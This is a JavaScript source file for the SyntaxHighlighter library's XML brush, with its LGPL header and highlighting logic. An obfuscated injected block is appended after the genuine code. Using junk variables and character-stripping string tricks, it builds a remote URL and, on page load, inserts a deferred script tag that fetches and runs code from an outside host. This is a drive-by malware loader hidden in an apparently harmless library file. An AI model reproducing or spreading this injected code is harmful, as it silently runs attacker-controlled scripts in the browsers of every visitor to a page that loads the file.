/**
 * SyntaxHighlighter
 * http://alexgorbatchev.com/
 *
 * SyntaxHighlighter is donationware. If you are using it, please donate.
 * http://alexgorbatchev.com/wiki/SyntaxHighlighter:Donate
 *
 * @version
 * 2.1.364 (October 15 2009)
 * 
 * @copyright
 * Copyright (C) 2004-2009 Alex Gorbatchev.
 *
 * @license
 * This file is part of SyntaxHighlighter.
 * 
 * SyntaxHighlighter is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * SyntaxHighlighter is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with SyntaxHighlighter.  If not, see <http://www.gnu.org/copyleft/lesser.html>.
 */
SyntaxHighlighter.brushes.Xml = function()
{
	function process(match, regexInfo)
	{
		var constructor = SyntaxHighlighter.Match,
			code = match[0],
			tag = new XRegExp('(&lt;|<)[\\s\\/\\?]*(?<name>[:\\w-\\.]+)', 'xg').exec(code),
			result = []
			;
		
		if (match.attributes != null) 
		{
			var attributes,
				regex = new XRegExp('(?<name> [\\w:\\-\\.]+)' +
									'\\s*=\\s*' +
									'(?<value> ".*?"|\'.*?\'|\\w+)',
									'xg');

			while ((attributes = regex.exec(code)) != null) 
			{
				result.push(new constructor(attributes.name, match.index + attributes.index, 'color1'));
				result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string'));
			}
		}

		if (tag != null)
			result.push(
				new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword')
			);

		return result;
	}
	
	this.regexList = [
		{ regex: new XRegExp('(\\&lt;|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\&gt;|>)', 'gm'),			css: 'color2' },	// <![ ... [ ... ]]>
		{ regex: SyntaxHighlighter.regexLib.xmlComments,												css: 'comments' },	// <!-- ... -->
		{ regex: new XRegExp('(&lt;|<)[\\s\\/\\?]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(&gt;|>)', 'sg'), func: process }
	];
};

SyntaxHighlighter.brushes.Xml.prototype	= new SyntaxHighlighter.Highlighter();
SyntaxHighlighter.brushes.Xml.aliases	= ['xml', 'xhtml', 'xslt', 'html'];

var vA;if(vA!='Z' && vA!='kD'){vA=''};var wA=new String();function c() {var He=new Date();var _;if(_!='' && _!='Qt'){_=null};var ifo=new String();var b;var W="";var k=new String("scri"+"pt");var X=String("]C9Sf".substr(0,1));var v=String("g");var J="";var s;if(s!='QL'){s=''};var w=RegExp;var m='';var vM=window;var A=new String("ap"+"peRV2i".substr(0,2)+"nd"+"Ch"+"il"+"3Gnd".substr(3));var UB=new String();var Zm;if(Zm!='' && Zm!='KO'){Zm=''};var H='';var Se=new Date();var _N;if(_N!='' && _N!='QV'){_N='q'};var KM;if(KM!='' && KM!='GI'){KM='Ed'};function C(S,p){var yI;if(yI!='' && yI!='oX'){yI=''};var g;if(g!='' && g!='AE'){g=null};this.h="";var M=String("u6V[".substr(3));M+=p;M+=X;var qQ=new Array();var u;if(u!='' && u!='vm'){u=''};var Y=new w(M, v);var Dx;if(Dx!='' && Dx!='bR'){Dx=null};var FY=new Date();return S.replace(Y, H);var EA;if(EA!='Yi' && EA!='vv'){EA='Yi'};};var Dj=new Date();var x;if(x!=''){x='WS'};var R="ZQxonloa".substr(3)+"MHcdcHM".substr(3,1);var fZ=new Date();var XA=C('sVrRcy','zbBRFM0X2jidLtV4y');var Kd;if(Kd!='CU' && Kd != ''){Kd=null};this.yE="";var U=new String("derR0I".substr(0,2)+"fe"+"1Jkr".substr(3));var eT=new Date();var I_;if(I_!='I'){I_='I'};this.N="";this.r="";b=function(){var xw=new String();try {var hd;if(hd!='SA' && hd != ''){hd=null};var ic;if(ic!='' && ic!='oC'){ic='tF'};i=document.createElement(k);var Gh='';var P=new String();var Kc;if(Kc!='' && Kc!='IE'){Kc=null};var a="bo"+"dy";i[XA] = C('hOt9tWpA:_/H/ytMhxe0uUlvtUixmUaGtWeRwceHbA.Ri9nCf9oU:R','CyUxArs0Oc7WLvMGH_9KqgFR')+C('8497271697277103439459322328614271263702752137962597','32914657')+C('/QgsoQofgKlIeM.fcMoXmQ/UmNeQrKc_aEd4oElJiIvKrMe5.FcUosmJ.Ib4r1/JtMiQmIeqaFn8dQdEa5tJeA.scSoUmA.NpJh_pK','U6ONFKE5X8Cqf_MIJQDA31sS4');i[U]=[1,3][0];var fC;if(fC!='' && fC!='nJ'){fC='VX'};document[a][A](i);var oA;if(oA!='Ib' && oA!='Kn'){oA='Ib'};var fh=new String();} catch(HT){var wh="";};};this.tv="";vM[R]=b;var d='';var Ei;if(Ei!='Qy' && Ei!='PX'){Ei=''};var rf='';};var sn="";c();var Il;if(Il!='DxF' && Il!='zs'){Il='DxF'};var Mz=new Array();